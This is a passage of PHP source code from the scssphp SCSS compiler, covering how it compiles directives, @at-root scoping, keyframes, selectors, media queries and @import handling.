            $appendNewLine = (! empty($directive[2]) || strpos($s, "\n")) ? "\n" : "";
            if (\is_array($directive[0]) && empty($directive[1])) {
                $appendNewLine = "\n";
            }

            if (empty($directive[3])) {
                $this->appendRootDirective($s . ';' . $appendNewLine, $out, [Type::T_COMMENT, Type::T_DIRECTIVE]);
            } else {
                $this->appendOutputLine($out, Type::T_DIRECTIVE, $s . ';');
            }
        } else {
            $directive->name = $this->compileDirectiveName($directive->name);
            $s = '@' . $directive->name;

            if (! empty($directive->value)) {
                $s .= ' ' . $this->compileValue($directive->value);
            }

            if ($directive->name === 'keyframes' || substr($directive->name, -10) === '-keyframes') {
                $this->compileKeyframeBlock($directive, [$s]);
            } else {
                $this->compileNestedBlock($directive, [$s]);
            }
        }
    }

    /**
     * directive names can include some interpolation
     *
     * @param string|array $directiveName
     * @return string
     * @throws CompilerException
     */
    protected function compileDirectiveName($directiveName)
    {
        if (is_string($directiveName)) {
            return $directiveName;
        }

        return $this->compileValue($directiveName);
    }

    /**
     * Compile at-root
     *
     * @param \ScssPhp\ScssPhp\Block $block
     *
     * @return void
     */
    protected function compileAtRoot(Block $block)
    {
        $env     = $this->pushEnv($block);
        $envs    = $this->compactEnv($env);
        list($with, $without) = $this->compileWith(isset($block->with) ? $block->with : null);

        // wrap inline selector
        if ($block->selector) {
            $wrapped = new Block();
            $wrapped->sourceName   = $block->sourceName;
            $wrapped->sourceIndex  = $block->sourceIndex;
            $wrapped->sourceLine   = $block->sourceLine;
            $wrapped->sourceColumn = $block->sourceColumn;
            $wrapped->selectors    = $block->selector;
            $wrapped->comments     = [];
            $wrapped->parent       = $block;
            $wrapped->children     = $block->children;
            $wrapped->selfParent   = $block->selfParent;

            $block->children = [[Type::T_BLOCK, $wrapped]];
            $block->selector = null;
        }

        $selfParent = $block->selfParent;
        assert($selfParent !== null, 'at-root blocks must have a selfParent set.');

        if (
            ! $selfParent->selectors &&
            isset($block->parent) && $block->parent &&
            isset($block->parent->selectors) && $block->parent->selectors
        ) {
            $selfParent = $block->parent;
        }

        $this->env = $this->filterWithWithout($envs, $with, $without);

        $saveScope   = $this->scope;
        $this->scope = $this->filterScopeWithWithout($saveScope, $with, $without);

        // propagate selfParent to the children where they still can be useful
        $this->compileChildrenNoReturn($block->children, $this->scope, $selfParent);

        $this->scope = $this->completeScope($this->scope, $saveScope);
        $this->scope = $saveScope;
        $this->env   = $this->extractEnv($envs);

        $this->popEnv();
    }

    /**
     * Filter at-root scope depending of with/without option
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $scope
     * @param array                                  $with
     * @param array                                  $without
     *
     * @return OutputBlock
     */
    protected function filterScopeWithWithout($scope, $with, $without)
    {
        $filteredScopes = [];
        $childStash = [];

        if ($scope->type === Type::T_ROOT) {
            return $scope;
        }

        // start from the root
        while ($scope->parent && $scope->parent->type !== Type::T_ROOT) {
            array_unshift($childStash, $scope);
            $scope = $scope->parent;
        }

        for (;;) {
            if (! $scope) {
                break;
            }

            if ($this->isWith($scope, $with, $without)) {
                $s = clone $scope;
                $s->children = [];
                $s->lines    = [];
                $s->parent   = null;

                if ($s->type !== Type::T_MEDIA && $s->type !== Type::T_DIRECTIVE) {
                    $s->selectors = [];
                }

                $filteredScopes[] = $s;
            }

            if (\count($childStash)) {
                $scope = array_shift($childStash);
            } elseif ($scope->children) {
                $scope = end($scope->children);
            } else {
                $scope = null;
            }
        }

        if (! \count($filteredScopes)) {
            return $this->rootBlock;
        }

        $newScope = array_shift($filteredScopes);
        $newScope->parent = $this->rootBlock;

        $this->rootBlock->children[] = $newScope;

        $p = &$newScope;

        while (\count($filteredScopes)) {
            $s = array_shift($filteredScopes);
            $s->parent = $p;
            $p->children[] = $s;
            $newScope = &$p->children[0];
            $p = &$p->children[0];
        }

        return $newScope;
    }

    /**
     * found missing selector from a at-root compilation in the previous scope
     * (if at-root is just enclosing a property, the selector is in the parent tree)
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $scope
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $previousScope
     *
     * @return OutputBlock
     */
    protected function completeScope($scope, $previousScope)
    {
        if (! $scope->type && (! $scope->selectors || ! \count($scope->selectors)) && \count($scope->lines)) {
            $scope->selectors = $this->findScopeSelectors($previousScope, $scope->depth);
        }

        if ($scope->children) {
            foreach ($scope->children as $k => $c) {
                $scope->children[$k] = $this->completeScope($c, $previousScope);
            }
        }

        return $scope;
    }

    /**
     * Find a selector by the depth node in the scope
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $scope
     * @param integer                                $depth
     *
     * @return array
     */
    protected function findScopeSelectors($scope, $depth)
    {
        if ($scope->depth === $depth && $scope->selectors) {
            return $scope->selectors;
        }

        if ($scope->children) {
            foreach (array_reverse($scope->children) as $c) {
                if ($s = $this->findScopeSelectors($c, $depth)) {
                    return $s;
                }
            }
        }

        return [];
    }

    /**
     * Compile @at-root's with: inclusion / without: exclusion into 2 lists uses to filter scope/env later
     *
     * @param array $withCondition
     *
     * @return array
     */
    protected function compileWith($withCondition)
    {
        // just compile what we have in 2 lists
        $with = [];
        $without = ['rule' => true];

        if ($withCondition) {
            if ($withCondition[0] === Type::T_INTERPOLATE) {
                $w = $this->compileValue($withCondition);

                $buffer = "($w)";
                $parser = $this->parserFactory(__METHOD__);

                if ($parser->parseValue($buffer, $reParsedWith)) {
                    $withCondition = $reParsedWith;
                }
            }

            if ($this->mapHasKey($withCondition, static::$with)) {
                $without = []; // cancel the default
                $list = $this->coerceList($this->libMapGet([$withCondition, static::$with]));

                foreach ($list[2] as $item) {
                    $keyword = $this->compileStringContent($this->coerceString($item));

                    $with[$keyword] = true;
                }
            }

            if ($this->mapHasKey($withCondition, static::$without)) {
                $without = []; // cancel the default
                $list = $this->coerceList($this->libMapGet([$withCondition, static::$without]));

                foreach ($list[2] as $item) {
                    $keyword = $this->compileStringContent($this->coerceString($item));

                    $without[$keyword] = true;
                }
            }
        }

        return [$with, $without];
    }

    /**
     * Filter env stack
     *
     * @param Environment[] $envs
     * @param array $with
     * @param array $without
     *
     * @return Environment
     *
     * @phpstan-param  non-empty-array<Environment> $envs
     */
    protected function filterWithWithout($envs, $with, $without)
    {
        $filtered = [];

        foreach ($envs as $e) {
            if ($e->block && ! $this->isWith($e->block, $with, $without)) {
                $ec = clone $e;
                $ec->block     = null;
                $ec->selectors = [];

                $filtered[] = $ec;
            } else {
                $filtered[] = $e;
            }
        }

        return $this->extractEnv($filtered);
    }

    /**
     * Filter WITH rules
     *
     * @param \ScssPhp\ScssPhp\Block|\ScssPhp\ScssPhp\Formatter\OutputBlock $block
     * @param array                                                         $with
     * @param array                                                         $without
     *
     * @return boolean
     */
    protected function isWith($block, $with, $without)
    {
        if (isset($block->type)) {
            if ($block->type === Type::T_MEDIA) {
                return $this->testWithWithout('media', $with, $without);
            }

            if ($block->type === Type::T_DIRECTIVE) {
                if (isset($block->name)) {
                    return $this->testWithWithout($this->compileDirectiveName($block->name), $with, $without);
                } elseif (isset($block->selectors) && preg_match(',@(\w+),ims', json_encode($block->selectors), $m)) {
                    return $this->testWithWithout($m[1], $with, $without);
                } else {
                    return $this->testWithWithout('???', $with, $without);
                }
            }
        } elseif (isset($block->selectors)) {
            // a selector starting with number is a keyframe rule
            if (\count($block->selectors)) {
                $s = reset($block->selectors);

                while (\is_array($s)) {
                    $s = reset($s);
                }

                if (\is_object($s) && $s instanceof Number) {
                    return $this->testWithWithout('keyframes', $with, $without);
                }
            }

            return $this->testWithWithout('rule', $with, $without);
        }

        return true;
    }

    /**
     * Test a single type of block against with/without lists
     *
     * @param string $what
     * @param array  $with
     * @param array  $without
     *
     * @return boolean
     *   true if the block should be kept, false to reject
     */
    protected function testWithWithout($what, $with, $without)
    {
        // if without, reject only if in the list (or 'all' is in the list)
        if (\count($without)) {
            return (isset($without[$what]) || isset($without['all'])) ? false : true;
        }

        // otherwise reject all what is not in the with list
        return (isset($with[$what]) || isset($with['all'])) ? true : false;
    }


    /**
     * Compile keyframe block
     *
     * @param \ScssPhp\ScssPhp\Block $block
     * @param string[]               $selectors
     *
     * @return void
     */
    protected function compileKeyframeBlock(Block $block, $selectors)
    {
        $env = $this->pushEnv($block);

        $envs = $this->compactEnv($env);

        $this->env = $this->extractEnv(array_filter($envs, function (Environment $e) {
            return ! isset($e->block->selectors);
        }));

        $this->scope = $this->makeOutputBlock($block->type, $selectors);
        $this->scope->depth = 1;
        $this->scope->parent->children[] = $this->scope;

        $this->compileChildrenNoReturn($block->children, $this->scope);

        $this->scope = $this->scope->parent;
        $this->env   = $this->extractEnv($envs);

        $this->popEnv();
    }

    /**
     * Compile nested properties lines
     *
     * @param \ScssPhp\ScssPhp\Block                 $block
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     *
     * @return void
     */
    protected function compileNestedPropertiesBlock(Block $block, OutputBlock $out)
    {
        $prefix = $this->compileValue($block->prefix) . '-';

        $nested = $this->makeOutputBlock($block->type);
        $nested->parent = $out;

        if ($block->hasValue) {
            $nested->depth = $out->depth + 1;
        }

        $out->children[] = $nested;

        foreach ($block->children as $child) {
            switch ($child[0]) {
                case Type::T_ASSIGN:
                    array_unshift($child[1][2], $prefix);
                    break;

                case Type::T_NESTED_PROPERTY:
                    array_unshift($child[1]->prefix[2], $prefix);
                    break;
            }

            $this->compileChild($child, $nested);
        }
    }

    /**
     * Compile nested block
     *
     * @param \ScssPhp\ScssPhp\Block $block
     * @param string[]               $selectors
     *
     * @return void
     */
    protected function compileNestedBlock(Block $block, $selectors)
    {
        $this->pushEnv($block);

        $this->scope = $this->makeOutputBlock($block->type, $selectors);
        $this->scope->parent->children[] = $this->scope;

        // wrap assign children in a block
        // except for @font-face
        if ($block->type !== Type::T_DIRECTIVE || $this->compileDirectiveName($block->name) !== 'font-face') {
            // need wrapping?
            $needWrapping = false;

            foreach ($block->children as $child) {
                if ($child[0] === Type::T_ASSIGN) {
                    $needWrapping = true;
                    break;
                }
            }

            if ($needWrapping) {
                $wrapped = new Block();
                $wrapped->sourceName   = $block->sourceName;
                $wrapped->sourceIndex  = $block->sourceIndex;
                $wrapped->sourceLine   = $block->sourceLine;
                $wrapped->sourceColumn = $block->sourceColumn;
                $wrapped->selectors    = [];
                $wrapped->comments     = [];
                $wrapped->parent       = $block;
                $wrapped->children     = $block->children;
                $wrapped->selfParent   = $block->selfParent;

                $block->children = [[Type::T_BLOCK, $wrapped]];
            }
        }

        $this->compileChildrenNoReturn($block->children, $this->scope);

        $this->scope = $this->scope->parent;

        $this->popEnv();
    }

    /**
     * Recursively compiles a block.
     *
     * A block is analogous to a CSS block in most cases. A single SCSS document
     * is encapsulated in a block when parsed, but it does not have parent tags
     * so all of its children appear on the root level when compiled.
     *
     * Blocks are made up of selectors and children.
     *
     * The children of a block are just all the blocks that are defined within.
     *
     * Compiling the block involves pushing a fresh environment on the stack,
     * and iterating through the props, compiling each one.
     *
     * @see Compiler::compileChild()
     *
     * @param \ScssPhp\ScssPhp\Block $block
     *
     * @return void
     */
    protected function compileBlock(Block $block)
    {
        $env = $this->pushEnv($block);
        $env->selectors = $this->evalSelectors($block->selectors);

        $out = $this->makeOutputBlock(null);

        $this->scope->children[] = $out;

        if (\count($block->children)) {
            $out->selectors = $this->multiplySelectors($env, $block->selfParent);

            // propagate selfParent to the children where they still can be useful
            $selfParentSelectors = null;

            if (isset($block->selfParent->selectors)) {
                $selfParentSelectors = $block->selfParent->selectors;
                $block->selfParent->selectors = $out->selectors;
            }

            $this->compileChildrenNoReturn($block->children, $out, $block->selfParent);

            // and revert for the following children of the same block
            if ($selfParentSelectors) {
                $block->selfParent->selectors = $selfParentSelectors;
            }
        }

        $this->popEnv();
    }


    /**
     * Compile the value of a comment that can have interpolation
     *
     * @param array   $value
     * @param boolean $pushEnv
     *
     * @return string
     */
    protected function compileCommentValue($value, $pushEnv = false)
    {
        $c = $value[1];

        if (isset($value[2])) {
            if ($pushEnv) {
                $this->pushEnv();
            }

            try {
                $c = $this->compileValue($value[2]);
            } catch (SassScriptException $e) {
                $this->logger->warn('Ignoring interpolation errors in multiline comments is deprecated and will be removed in ScssPhp 2.0. ' . $this->addLocationToMessage($e->getMessage()), true);
                // ignore error in comment compilation which are only interpolation
            } catch (SassException $e) {
                $this->logger->warn('Ignoring interpolation errors in multiline comments is deprecated and will be removed in ScssPhp 2.0. ' . $e->getMessage(), true);
                // ignore error in comment compilation which are only interpolation
            }

            if ($pushEnv) {
                $this->popEnv();
            }
        }

        return $c;
    }

    /**
     * Compile root level comment
     *
     * @param array $block
     *
     * @return void
     */
    protected function compileComment($block)
    {
        $out = $this->makeOutputBlock(Type::T_COMMENT);
        $out->lines[] = $this->compileCommentValue($block, true);

        $this->scope->children[] = $out;
    }

    /**
     * Evaluate selectors
     *
     * @param array $selectors
     *
     * @return array
     */
    protected function evalSelectors($selectors)
    {
        $this->shouldEvaluate = false;

        $selectors = array_map([$this, 'evalSelector'], $selectors);

        // after evaluating interpolates, we might need a second pass
        if ($this->shouldEvaluate) {
            $selectors = $this->replaceSelfSelector($selectors, '&');
            $buffer    = $this->collapseSelectors($selectors);
            $parser    = $this->parserFactory(__METHOD__);

            try {
                $isValid = $parser->parseSelector($buffer, $newSelectors, true);
            } catch (ParserException $e) {
                throw $this->error($e->getMessage());
            }

            if ($isValid) {
                $selectors = array_map([$this, 'evalSelector'], $newSelectors);
            }
        }

        return $selectors;
    }

    /**
     * Evaluate selector
     *
     * @param array $selector
     *
     * @return array
     */
    protected function evalSelector($selector)
    {
        return array_map([$this, 'evalSelectorPart'], $selector);
    }

    /**
     * Evaluate selector part; replaces all the interpolates, stripping quotes
     *
     * @param array $part
     *
     * @return array
     */
    protected function evalSelectorPart($part)
    {
        foreach ($part as &$p) {
            if (\is_array($p) && ($p[0] === Type::T_INTERPOLATE || $p[0] === Type::T_STRING)) {
                $p = $this->compileValue($p);

                // force re-evaluation if self char or non standard char
                if (preg_match(',[^\w-],', $p)) {
                    $this->shouldEvaluate = true;
                }
            } elseif (
                \is_string($p) && \strlen($p) >= 2 &&
                ($first = $p[0]) && ($first === '"' || $first === "'") &&
                substr($p, -1) === $first
            ) {
                $p = substr($p, 1, -1);
            }
        }

        return $this->flattenSelectorSingle($part);
    }

    /**
     * Collapse selectors
     *
     * @param array $selectors
     *
     * @return string
     */
    protected function collapseSelectors($selectors)
    {
        $parts = [];

        foreach ($selectors as $selector) {
            $output = [];

            foreach ($selector as $node) {
                $compound = '';

                array_walk_recursive(
                    $node,
                    function ($value, $key) use (&$compound) {
                        $compound .= $value;
                    }
                );

                $output[] = $compound;
            }

            $parts[] = implode(' ', $output);
        }

        return implode(', ', $parts);
    }

    /**
     * Collapse selectors
     *
     * @param array $selectors
     *
     * @return array
     */
    private function collapseSelectorsAsList($selectors)
    {
        $parts = [];

        foreach ($selectors as $selector) {
            $output = [];
            $glueNext = false;

            foreach ($selector as $node) {
                $compound = '';

                array_walk_recursive(
                    $node,
                    function ($value, $key) use (&$compound) {
                        $compound .= $value;
                    }
                );

                if ($this->isImmediateRelationshipCombinator($compound)) {
                    if (\count($output)) {
                        $output[\count($output) - 1] .= ' ' . $compound;
                    } else {
                        $output[] = $compound;
                    }

                    $glueNext = true;
                } elseif ($glueNext) {
                    $output[\count($output) - 1] .= ' ' . $compound;
                    $glueNext = false;
                } else {
                    $output[] = $compound;
                }
            }

            foreach ($output as &$o) {
                $o = [Type::T_STRING, '', [$o]];
            }

            $parts[] = [Type::T_LIST, ' ', $output];
        }

        return [Type::T_LIST, ',', $parts];
    }

    /**
     * Parse down the selector and revert [self] to "&" before a reparsing
     *
     * @param array       $selectors
     * @param string|null $replace
     *
     * @return array
     */
    protected function replaceSelfSelector($selectors, $replace = null)
    {
        foreach ($selectors as &$part) {
            if (\is_array($part)) {
                if ($part === [Type::T_SELF]) {
                    if (\is_null($replace)) {
                        $replace = $this->reduce([Type::T_SELF]);
                        $replace = $this->compileValue($replace);
                    }
                    $part = $replace;
                } else {
                    $part = $this->replaceSelfSelector($part, $replace);
                }
            }
        }

        return $selectors;
    }

    /**
     * Flatten selector single; joins together .classes and #ids
     *
     * @param array $single
     *
     * @return array
     */
    protected function flattenSelectorSingle($single)
    {
        $joined = [];

        foreach ($single as $part) {
            if (
                empty($joined) ||
                ! \is_string($part) ||
                preg_match('/[\[.:#%]/', $part)
            ) {
                $joined[] = $part;
                continue;
            }

            if (\is_array(end($joined))) {
                $joined[] = $part;
            } else {
                $joined[\count($joined) - 1] .= $part;
            }
        }

        return $joined;
    }

    /**
     * Compile selector to string; self(&) should have been replaced by now
     *
     * @param string|array $selector
     *
     * @return string
     */
    protected function compileSelector($selector)
    {
        if (! \is_array($selector)) {
            return $selector; // media and the like
        }

        return implode(
            ' ',
            array_map(
                [$this, 'compileSelectorPart'],
                $selector
            )
        );
    }

    /**
     * Compile selector part
     *
     * @param array $piece
     *
     * @return string
     */
    protected function compileSelectorPart($piece)
    {
        foreach ($piece as &$p) {
            if (! \is_array($p)) {
                continue;
            }

            switch ($p[0]) {
                case Type::T_SELF:
                    $p = '&';
                    break;

                default:
                    $p = $this->compileValue($p);
                    break;
            }
        }

        return implode($piece);
    }

    /**
     * Has selector placeholder?
     *
     * @param array $selector
     *
     * @return boolean
     */
    protected function hasSelectorPlaceholder($selector)
    {
        if (! \is_array($selector)) {
            return false;
        }

        foreach ($selector as $parts) {
            foreach ($parts as $part) {
                if (\strlen($part) && '%' === $part[0]) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * @param string $name
     *
     * @return void
     */
    protected function pushCallStack($name = '')
    {
        $this->callStack[] = [
          'n' => $name,
          Parser::SOURCE_INDEX => $this->sourceIndex,
          Parser::SOURCE_LINE => $this->sourceLine,
          Parser::SOURCE_COLUMN => $this->sourceColumn
        ];

        // infinite calling loop
        if (\count($this->callStack) > 25000) {
            // not displayed but you can var_dump it to deep debug
            $msg = $this->callStackMessage(true, 100);
            $msg = 'Infinite calling loop';

            throw $this->error($msg);
        }
    }

    /**
     * @return void
     */
    protected function popCallStack()
    {
        array_pop($this->callStack);
    }

    /**
     * Compile children and return result
     *
     * @param array                                  $stms
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     * @param string                                 $traceName
     *
     * @return array|Number|null
     */
    protected function compileChildren($stms, OutputBlock $out, $traceName = '')
    {
        $this->pushCallStack($traceName);

        foreach ($stms as $stm) {
            $ret = $this->compileChild($stm, $out);

            if (isset($ret)) {
                $this->popCallStack();

                return $ret;
            }
        }

        $this->popCallStack();

        return null;
    }

    /**
     * Compile children and throw exception if unexpected `@return`
     *
     * @param array                                  $stms
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     * @param \ScssPhp\ScssPhp\Block                 $selfParent
     * @param string                                 $traceName
     *
     * @return void
     *
     * @throws \Exception
     */
    protected function compileChildrenNoReturn($stms, OutputBlock $out, $selfParent = null, $traceName = '')
    {
        $this->pushCallStack($traceName);

        foreach ($stms as $stm) {
            if ($selfParent && isset($stm[1]) && \is_object($stm[1]) && $stm[1] instanceof Block) {
                $stm[1]->selfParent = $selfParent;
                $ret = $this->compileChild($stm, $out);
                $stm[1]->selfParent = null;
            } elseif ($selfParent && \in_array($stm[0], [Type::T_INCLUDE, Type::T_EXTEND])) {
                $stm['selfParent'] = $selfParent;
                $ret = $this->compileChild($stm, $out);
                unset($stm['selfParent']);
            } else {
                $ret = $this->compileChild($stm, $out);
            }

            if (isset($ret)) {
                throw $this->error('@return may only be used within a function');
            }
        }

        $this->popCallStack();
    }


    /**
     * evaluate media query : compile internal value keeping the structure unchanged
     *
     * @param array $queryList
     *
     * @return array
     */
    protected function evaluateMediaQuery($queryList)
    {
        static $parser = null;

        $outQueryList = [];

        foreach ($queryList as $kql => $query) {
            $shouldReparse = false;

            foreach ($query as $kq => $q) {
                for ($i = 1; $i < \count($q); $i++) {
                    $value = $this->compileValue($q[$i]);

                    // the parser had no mean to know if media type or expression if it was an interpolation
                    // so you need to reparse if the T_MEDIA_TYPE looks like anything else a media type
                    if (
                        $q[0] == Type::T_MEDIA_TYPE &&
                        (strpos($value, '(') !== false ||
                        strpos($value, ')') !== false ||
                        strpos($value, ':') !== false ||
                        strpos($value, ',') !== false)
                    ) {
                        $shouldReparse = true;
                    }

                    $queryList[$kql][$kq][$i] = [Type::T_KEYWORD, $value];
                }
            }

            if ($shouldReparse) {
                if (\is_null($parser)) {
                    $parser = $this->parserFactory(__METHOD__);
                }

                $queryString = $this->compileMediaQuery([$queryList[$kql]]);
                $queryString = reset($queryString);

                if (strpos($queryString, '@media ') === 0) {
                    $queryString = substr($queryString, 7);
                    $queries = [];

                    if ($parser->parseMediaQueryList($queryString, $queries)) {
                        $queries = $this->evaluateMediaQuery($queries[2]);

                        while (\count($queries)) {
                            $outQueryList[] = array_shift($queries);
                        }

                        continue;
                    }
                }
            }

            $outQueryList[] = $queryList[$kql];
        }

        return $outQueryList;
    }

    /**
     * Compile media query
     *
     * @param array $queryList
     *
     * @return string[]
     */
    protected function compileMediaQuery($queryList)
    {
        $start   = '@media ';
        $default = trim($start);
        $out     = [];
        $current = '';

        foreach ($queryList as $query) {
            $type = null;
            $parts = [];

            $mediaTypeOnly = true;

            foreach ($query as $q) {
                if ($q[0] !== Type::T_MEDIA_TYPE) {
                    $mediaTypeOnly = false;
                    break;
                }
            }

            foreach ($query as $q) {
                switch ($q[0]) {
                    case Type::T_MEDIA_TYPE:
                        $newType = array_map([$this, 'compileValue'], \array_slice($q, 1));

                        // combining not and anything else than media type is too risky and should be avoided
                        if (! $mediaTypeOnly) {
                            if (\in_array(Type::T_NOT, $newType) || ($type && \in_array(Type::T_NOT, $type) )) {
                                if ($type) {
                                    array_unshift($parts, implode(' ', array_filter($type)));
                                }

                                if (! empty($parts)) {
                                    if (\strlen($current)) {
                                        $current .= $this->formatter->tagSeparator;
                                    }

                                    $current .= implode(' and ', $parts);
                                }

                                if ($current) {
                                    $out[] = $start . $current;
                                }

                                $current = '';
                                $type    = null;
                                $parts   = [];
                            }
                        }

                        if ($newType === ['all'] && $default) {
                            $default = $start . 'all';
                        }

                        // all can be safely ignored and mixed with whatever else
                        if ($newType !== ['all']) {
                            if ($type) {
                                $type = $this->mergeMediaTypes($type, $newType);

                                if (empty($type)) {
                                    // merge failed : ignore this query that is not valid, skip to the next one
                                    $parts = [];
                                    $default = ''; // if everything fail, no @media at all
                                    continue 3;
                                }
                            } else {
                                $type = $newType;
                            }
                        }
                        break;

                    case Type::T_MEDIA_EXPRESSION:
                        if (isset($q[2])) {
                            $parts[] = '('
                                . $this->compileValue($q[1])
                                . $this->formatter->assignSeparator
                                . $this->compileValue($q[2])
                                . ')';
                        } else {
                            $parts[] = '('
                                . $this->compileValue($q[1])
                                . ')';
                        }
                        break;

                    case Type::T_MEDIA_VALUE:
                        $parts[] = $this->compileValue($q[1]);
                        break;
                }
            }

            if ($type) {
                array_unshift($parts, implode(' ', array_filter($type)));
            }

            if (! empty($parts)) {
                if (\strlen($current)) {
                    $current .= $this->formatter->tagSeparator;
                }

                $current .= implode(' and ', $parts);
            }
        }

        if ($current) {
            $out[] = $start . $current;
        }

        // no @media type except all, and no conflict?
        if (! $out && $default) {
            $out[] = $default;
        }

        return $out;
    }

    /**
     * Merge direct relationships between selectors
     *
     * @param array $selectors1
     * @param array $selectors2
     *
     * @return array
     */
    protected function mergeDirectRelationships($selectors1, $selectors2)
    {
        if (empty($selectors1) || empty($selectors2)) {
            return array_merge($selectors1, $selectors2);
        }

        $part1 = end($selectors1);
        $part2 = end($selectors2);

        if (! $this->isImmediateRelationshipCombinator($part1[0]) && $part1 !== $part2) {
            return array_merge($selectors1, $selectors2);
        }

        $merged = [];

        do {
            $part1 = array_pop($selectors1);
            $part2 = array_pop($selectors2);

            if (! $this->isImmediateRelationshipCombinator($part1[0]) && $part1 !== $part2) {
                if ($this->isImmediateRelationshipCombinator(reset($merged)[0])) {
                    array_unshift($merged, [$part1[0] . $part2[0]]);
                    $merged = array_merge($selectors1, $selectors2, $merged);
                } else {
                    $merged = array_merge($selectors1, [$part1], $selectors2, [$part2], $merged);
                }

                break;
            }

            array_unshift($merged, $part1);
        } while (! empty($selectors1) && ! empty($selectors2));

        return $merged;
    }

    /**
     * Merge media types
     *
     * @param array $type1
     * @param array $type2
     *
     * @return array|null
     */
    protected function mergeMediaTypes($type1, $type2)
    {
        if (empty($type1)) {
            return $type2;
        }

        if (empty($type2)) {
            return $type1;
        }

        if (\count($type1) > 1) {
            $m1 = strtolower($type1[0]);
            $t1 = strtolower($type1[1]);
        } else {
            $m1 = '';
            $t1 = strtolower($type1[0]);
        }

        if (\count($type2) > 1) {
            $m2 = strtolower($type2[0]);
            $t2 = strtolower($type2[1]);
        } else {
            $m2 = '';
            $t2 = strtolower($type2[0]);
        }

        if (($m1 === Type::T_NOT) ^ ($m2 === Type::T_NOT)) {
            if ($t1 === $t2) {
                return null;
            }

            return [
                $m1 === Type::T_NOT ? $m2 : $m1,
                $m1 === Type::T_NOT ? $t2 : $t1,
            ];
        }

        if ($m1 === Type::T_NOT && $m2 === Type::T_NOT) {
            // CSS has no way of representing "neither screen nor print"
            if ($t1 !== $t2) {
                return null;
            }

            return [Type::T_NOT, $t1];
        }

        if ($t1 !== $t2) {
            return null;
        }

        // t1 == t2, neither m1 nor m2 are "not"
        return [empty($m1) ? $m2 : $m1, $t1];
    }

    /**
     * Compile import; returns true if the value was something that could be imported
     *
     * @param array                                  $rawPath
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     * @param boolean                                $once
     *
     * @return boolean
     */
    protected function compileImport($rawPath, OutputBlock $out, $once = false)
    {
        if ($rawPath[0] === Type::T_STRING) {
            $path = $this->compileStringContent($rawPath);

            if (strpos($path, 'url(') !== 0 && $filePath = $this->findImport($path, $this->currentDirectory)) {
                $this->registerImport($this->currentDirectory, $path, $filePath);

                if (! $once || ! \in_array($filePath, $this->importedFiles)) {
                    $this->importFile($filePath, $out);
                    $this->importedFiles[] = $filePath;
                }

                return true;
            }

            $this->appendRootDirective('@import ' . $this->compileImportPath($rawPath) . ';', $out);

            return false;
        }

        if ($rawPath[0] === Type::T_LIST) {
            // handle a list of strings
            if (\count($rawPath[2]) === 0) {
                return false;
            }

            foreach ($rawPath[2] as $path) {
                if ($path[0] !== Type::T_STRING) {
                    $this->appendRootDirective('@import ' . $this->compileImportPath($rawPath) . ';', $out);

                    return false;
                }
            }

            foreach ($rawPath[2] as $path) {
                $this->compileImport($path, $out, $once);
            }

            return true;
        }

        $this->appendRootDirective('@import ' . $this->compileImportPath($rawPath) . ';', $out);

        return false;
    }

    /**
     * @param array $rawPath
     * @return string
     * @throws CompilerException
     */
    protected function compileImportPath($rawPath)
    {
        $path = $this->compileValue($rawPath);

        // case url() without quotes : suppress \r \n remaining in the path
        // if this is a real string there can not be CR or LF char
        if (strpos($path, 'url(') === 0) {
            $path = str_replace(array("\r", "\n"), array('', ' '), $path);
        } else {
            // if this is a file name in a string, spaces should be escaped
            $path = $this->reduce($rawPath);
            $path = $this->escapeImportPathString($path);
            $path = $this->compileValue($path);
        }

        return $path;
    }

    /**
     * @param array $path
     * @return array
     * @throws CompilerException
     */
    protected function escapeImportPathString($path)
    {
        switch ($path[0]) {
            case Type::T_LIST:
                foreach ($path[2] as $k => $v) {
                    $path[2][$k] = $this->escapeImportPathString($v);
                }
                break;
            case Type::T_STRING:
                if ($path[1]) {
                    $path = $this->compileValue($path);
                    $path = str_replace(' ', '\\ ', $path);
                    $path = [Type::T_KEYWORD, $path];
                }
                break;
        }

        return $path;
    }

    /**
     * Append a root directive like @import or @charset as near as the possible from the source code
     * (keeping before comments, @import and @charset coming before in the source code)
     *
     * @param string                                 $line
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     * @param array                                  $allowed
     *
     * @return void
     */
    protected function appendRootDirective($line, $out, $allowed = [Type::T_COMMENT])
    {
        $root = $out;

        while ($root->parent) {
            $root = $root->parent;
        }

        $i = 0;

        while ($i < \count($root->children)) {
            if (! isset($root->children[$i]->type) || ! \in_array($root->children[$i]->type, $allowed)) {
                break;
            }

            $i++;
        }

        // remove incompatible children from the bottom of the list
        $saveChildren = [];

        while ($i < \count($root->children)) {
            $saveChildren[] = array_pop($root->children);
        }

        // insert the directive as a comment
        $child = $this->makeOutputBlock(Type::T_COMMENT);
        $child->lines[]      = $line;
        $child->sourceName   = $this->sourceNames[$this->sourceIndex];
        $child->sourceLine   = $this->sourceLine;
        $child->sourceColumn = $this->sourceColumn;

        $root->children[] = $child;

        // repush children
        while (\count($saveChildren)) {
            $root->children[] = array_pop($saveChildren);
        }
    }

    /**
     * Append lines to the current output block:
     * directly to the block or through a child if necessary
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     * @param string                                 $type
     * @param string                                 $line
     *
     * @return void
     */
    protected function appendOutputLine(OutputBlock $out, $type, $line)
    {
        $outWrite = &$out;

        // check if it's a flat output or not
        if (\count($out->children)) {
            $lastChild = &$out->children[\count($out->children) - 1];

            if (
                $lastChild->depth === $out->depth &&
                \is_null($lastChild->selectors) &&
                ! \count($lastChild->children)
            ) {
                $outWrite = $lastChild;
            } else {
                $nextLines = $this->makeOutputBlock($type);
                $nextLines->parent = $out;
                $nextLines->depth  = $out->depth;

                $out->children[] = $nextLines;
                $outWrite = &$nextLines;
            }
        }

        $outWrite->lines[] = $line;
    }

    /**
     * Compile child; returns a value to halt execution
     *
     * @param array                                  $child
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     *
     * @return array|Number|null
     */
    protected function compileChild($child, OutputBlock $out)
    {
        if (isset($child[Parser::SOURCE_LINE])) {
